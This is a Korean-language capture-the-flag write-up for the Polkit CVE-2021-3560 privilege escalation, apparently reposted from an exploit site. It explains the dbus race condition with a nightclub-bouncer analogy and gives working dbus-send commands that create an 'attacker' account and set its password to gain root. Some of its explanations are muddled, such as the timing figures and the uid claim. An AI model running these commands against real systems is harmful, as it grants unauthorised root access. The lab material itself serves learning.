## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-REALATHARVA15-POLKIT-CVE-2021-3560_WRITEUP
# Try Hack Me - Polkit:CVE-2021-3560
# ์์ฑ์: Atharva Bordavekar
# ๋์ด๋: ์ ๋ณด
# ํฌ์ธํธ: 32
# ์ทจ์ฝ์ : CVE-2021-3560
๋จผ์ polkit ๋ฒ์ ์ ํ์ธํ์ฌ ๋ ๋์ ํต์ฐฐ๋ ฅ์ ์ป์ ๊ฒ์
๋๋ค.
root@kitploit:~
apt list --installed | grep policykit-1
policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]
์ ๋ deepseek๋ฅผ ์ฌ์ฉํ์ฌ policy kit ๊ฐ๋
์ ๋ ์ ์ดํดํ ์ ์๋๋ก ๊ฐ๋จํ ๋น์ ๋ฅผ ๋ง๋ค์์ต๋๋ค.
# ๋์ดํธํด๋ฝ ๊ฒฝ๋น์ ๋น์
๋์ดํธํด๋ฝ: Polkit ์์คํ
๋์ดํธํด๋ฝ (VIP ๊ตฌ์ญ): ๊ถํ์ด ํ์ํ ์์คํ
์๋น์ค/์์
(๋๋ผ์ด๋ธ ๋ง์ดํธ, ์ํํธ์จ์ด ์ค์น, ๋คํธ์ํฌ ๊ด๋ฆฌ)
๋ฌธ ์์ ๊ฒฝ๋น์: Polkit ์์ฒด, ๋ชจ๋ ์ง์
์๋ ์ฐจ๋จ
์๋ ๋ชฉ๋ก / ๋๋ ์ค ์ฝ๋: Polkit ์ ์ฑ
๊ท์น (/usr/share/polkit-1/actions/ ๋ฐ /etc/polkit-1/rules.d/์ ์ ์ฅ)
VIP ํจ์ค / ํด๋ฝ ๋ฉค๋ฒ์ญ: ํน์ Linux ๊ทธ๋ฃน (์: wheel, sudo, storage, network)์ ์ํ๋ ๊ฒ
์ ๋ถ ํ์ธ: Polkit์ด ์ฌ์ฉ์ ์ ์๊ณผ ๊ทธ๋ฃน ๋ฉค๋ฒ์ญ ํ์ธ
์์ ์ / ๊ด๋ฆฌ์ Root: ์ฌ์ฉ์ (๋ชจ๋ ๊ฒ์ ๋ฌด์ ํ ์ ๊ทผ ๊ถํ ์์)
VIP ๊ตฌ์ญ์ ๋ค์ด๊ฐ๋ ค๋ ์ผ๋ฐ ์๋: ๊ถํ ๋ช
๋ น์ ์คํํ๋ ค๋ ์ผ๋ฐ ์ฌ์ฉ์/ํ๋ก๊ทธ๋จ
๊ท์น ์ฑ
์ ์ฐธ์กฐํ๋ ๊ฒฝ๋น์: Polkit์ด ํด๋น ํน์ ์์
์ ๋ํด ์ค์ ๋ ์ ์ฑ
ํ์ธ
ํน๋ณ ํ์ฐ/๋น๋ฐ๋ฒํธ๋ฅผ ์๊ตฌํ๋ ๊ฒฝ๋น์: ์ธ์ฆ ํ๋กฌํํธ (๋น๋ฐ๋ฒํธ ์์ฒญ)
ํ์ธ ์์ด ํต๊ณผ์ํค๋ ๊ฒฝ๋น์: ์ ๋ขฐํ ์ ์๋ ์ฌ์ฉ์/๊ทธ๋ฃน์ ๋ํด ์ธ์ฆ ์์ด ์์
ํ์ฉ
polkit์ systemd์ sudo์
๋๋ค
์ด์ ๊ต๋ฌํ ์์ฒญ์ ํตํด ์ด ๋์ดํธํด๋ฝ ๊ฒฝ๋น์์ ์
์ฉํ์ฌ dbus ์์ฒญ์ ๋ํ ์๊ฒฉ ์ฆ๋ช
ํ์ธ์ ์ฐํํ ์ ์์ต๋๋ค.
์ด์ ๊ณผ ๋์ผํ ๋์ดํธํด๋ฝ ๊ฒฝ๋น์ ๋น์ ๋ฅผ ์ฌ์ฉํ์ฌ ์ดํดํด ๋ด
์๋ค.
์ผ๋ฐ์ ์ธ ๊ณผ์ ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค: ๊ฒฝ๋น์์ด ์ ๋ถ์ฆ์ ํ์ธํ๊ณ , ๊ทธ ์ฌ๋์ด ํน์ ์์
์ ์ํํ ์ถฉ๋ถํ ๊ถํ์ด ์์ผ๋ฉด ๊ฒฝ๋น์์ด ํ์ฉํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ฅผ ์
์ฉํ๊ธฐ ์ํด ๊ณต๊ฒฉ์๋ ํด๋ฝ ๋น์์๊ฒ "๋๋ฅผ ๋ชจ๋ ์ ๊ทผ ๊ถํ์ด ์๋ ํด๋ฝ ๋งค๋์ ๋ก ๋ง๋ค์ด ์ค"๋ผ๋ ๋๋ฏธ ์์ฒญ์ ๋ณด๋
๋๋ค. ์ด์ ๋ฉ์์ง๊ฐ ํด๋ฝ ๋น์์๊ฒ ๋๋ฌํ๊ธฐ๊น์ง 11๋ฐ๋ฆฌ์ด๊ฐ ์์ผ๋ฉฐ, ๋น์ฐํ ๋น์๋ ์ด ์์ฒญ์ ์๋ฝํ์ง ์์ ๊ฒ์
๋๋ค. ๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ ๋น์์๊ฒ ๋๋ฌํ๋ ์๊ฐ์ ์ ๋ฐ, ์ฆ 0.5๋ฐ๋ฆฌ์ด ๋ด์ ์์ฒญ์ ์ทจ์ํด์ผ ํฉ๋๋ค. ์ด์ ๊ฒฝ๋น์์ด ๋๊ฐ ๋ณด๋๋์ง ํ์ธํ๊ธฐ ์ ์ ๊ถํ ์์น ์์ฒญ์ด ์ ํ ์ชฝ์ง๋ฅผ ๊ฐ๋ก์ฑ๋๋ค. ์ฐ๋ฆฌ๊ฐ ๊ฐ๋ก์ฑ๋ฉด ๊ฒฝ๋น์์ ๋๊ฐ ํ๋์ง ์ ์ ์์ต๋๋ค. ์ด์ ์ชฝ์ง์๋ ๊ณ ์ ๋ฒํธ๊ฐ ์์ผ๋ฉฐ, ์ด ๋ฒํธ๋ ์ด์ ๊ณ ์๊ฐ ๋ฉ๋๋ค. ์์คํ
์ ๊ณ ์ ๋ฒํธ๋ ์กด์ฌํ์ง๋ง ์๋ ์ชฝ์ง๋ ์ฌ๋ผ์ก์ต๋๋ค. ์ด ์ํฉ์ ์ฒ๋ฆฌํ๋ ๊ธฐ๋ณธ ํ๋กํ ์ฝ์ ๋งค๋ด์ผ์ ๋ฐ๋ผ ๊ฒฝ๋น์์ด ๋ฉ์์ง๋ฅผ ํด๋ฝ ์์ ์๊ฐ ๋ณด๋ธ ๊ฒ์ผ๋ก ๊ฐ์ฃผํ๋ ๊ฒ์
๋๋ค. ๋ค์๊ณผ ๊ฐ์ด ์งํ๋ฉ๋๋ค: ๊ฒฝ๋น์์ด "์ด๋ด, ์ด ๋ฉ์์ง #12345๋ฅผ ๋๊ฐ ๋ณด๋์ด?"๋ผ๊ณ ๋ฌป์ต๋๋ค. dbus-daemon์ด ๊ธฐ๋ก์ ํ์ธํ๊ณ "#12345์ ์ถ์ ์ ๋ก๊ทธ์ ์์ง๋ง ์ค์ ๋ฉ์์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค...ERROR"๋ผ๊ณ ์๋ ค์ค๋๋ค. ๋ฐ๋ผ์ dbus-daemon์ ๋๊ฐ ๋ณด๋๋์ง ๋ชจ๋ฅธ๋ค๊ณ ๋งํ๋ ๋์ ์ค๋ฅ ์ฝ๋๋ฅผ ๋ฐํํฉ๋๋ค. ๊ฒฝ๋น์์ ๊ต์ก ๋งค๋ด์ผ์๋ ๋ฒ๊ทธ๊ฐ ์์ต๋๋ค. ๊ต์ก ๋งค๋ด์ผ์๋ ํน์ ๋ฉ์์ง๋ฅผ ๋๊ฐ ๋ณด๋๋์ง ๋ชจ๋ฅด๊ณ ID ํ์ธ ์ค ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ฉด ํด๋ฝ ์์ ์(uid 0)๋ก๋ถํฐ ์จ ๊ฒ์ผ๋ก ๊ฐ์ฃผํ๋ผ๊ณ ๋์ ์์ต๋๋ค. ๊ฒฝ๋น์์ ๋น์์๊ฒ ์ด ๋ฉ์์ง๊ฐ ํด๋ฝ ์์ ์๋ก๋ถํฐ ์๋ค๊ณ ์๋ฆฌ๋ฉฐ, ๋น๋ก ํ๋ก์์ผ ๋ฟ์ด์ง๋ง ๋น์๊ฐ ์ด๋ฅผ ์น์ธํ๊ณ , ๊ทธ๋ฐ ๋ค์ ํด๋ฝ ๋น์๋ ๊ณต๊ฒฉ์๋ฅผ ์ํด ์๋ก์ด ํด๋ฝ ๋งค๋์ ๊ณ์ ์ ๋ง๋ญ๋๋ค. ์ด์ ๊ณต๊ฒฉ์๋ root ์ฌ์ฉ์์ ๋๋ฑํ ๊ถํ์ ๊ฐ๊ฒ ๋ฉ๋๋ค.
์ด์ ์ฆ์ attacker๋ผ๋ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ Expl01ted๋ฅผ ๊ฐ์ง ์ฌ์ฉ์๋ฅผ ์ป์ ๋ช
๋ น์ด๋ฅผ ์ดํด๋ณด๊ฒ ์ต๋๋ค. ๋ช
๋ น์ด๋ถํฐ ์์ํฉ๋๋ค:
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
์ด ๋ช
๋ น์ด๋ attacker๋ผ๋ ์ด๋ฆ์ ์ฌ์ฉ์๋ฅผ ๋ง๋ญ๋๋ค. ๊ฒฝ๋น์(polkit)์ด ๋ฉ์์ง๋ฅผ ์ฝ์ง ๋ชปํ๋๋ก 0.5๋ฐ๋ฆฌ์ด ํ์ ๋ฐ๋ก ์ค๋จํฉ๋๋ค. attacker ์ฌ์ฉ์๋ ์์ง root ์๊ฒฉ ์ฆ๋ช
์ด ์์ต๋๋ค.
attacker ์ฌ์ฉ์์๊ฒ ํ์ํ root ๊ถํ์ ๋ถ์ฌํ๊ธฐ ์ํด ๋ค์ ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํฉ๋๋ค:
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
root@kitploit:~
id attacker
์ด์ attacker ์ฌ์ฉ์์ uid๊ฐ 1000์ธ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
์ฌ๊ธฐ์ ์๋ ๊ถํ์ด ์์๋ attacker ์ฌ์ฉ์์ ์ฌ์ฉ์ ID๋ฅผ ์ถ๊ฐํฉ๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด attacker ์ฌ์ฉ์์ id๊ฐ 1000์์ 0์ผ๋ก ๋ณ๊ฒฝ๋ฉ๋๋ค.
root@kitploit:~
id attacker
์ด์ attacker ์ฌ์ฉ์์ uid๊ฐ 1000์์ 0์ผ๋ก ๋ณ๊ฒฝ๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค. ์ด๋ ์ฐ๋ฆฌ๊ฐ ์ต๊ณ ๊ถํ์ ๊ฐ์ง root ์ฌ์ฉ์ ๊ทธ๋ฃน์ ์ํ๋ค๋ ์๋ฏธ์
๋๋ค. ์ฌ๊ธฐ์ ์ง์ root๋ก ๋ช
๋ น์ ์คํํ๊ฑฐ๋, ํ์์ ๋ฐ๋ผ root ์
ธ๋ก ์ ํํ ์ ์์ต๋๋ค.
root@kitploit:~
sudo su```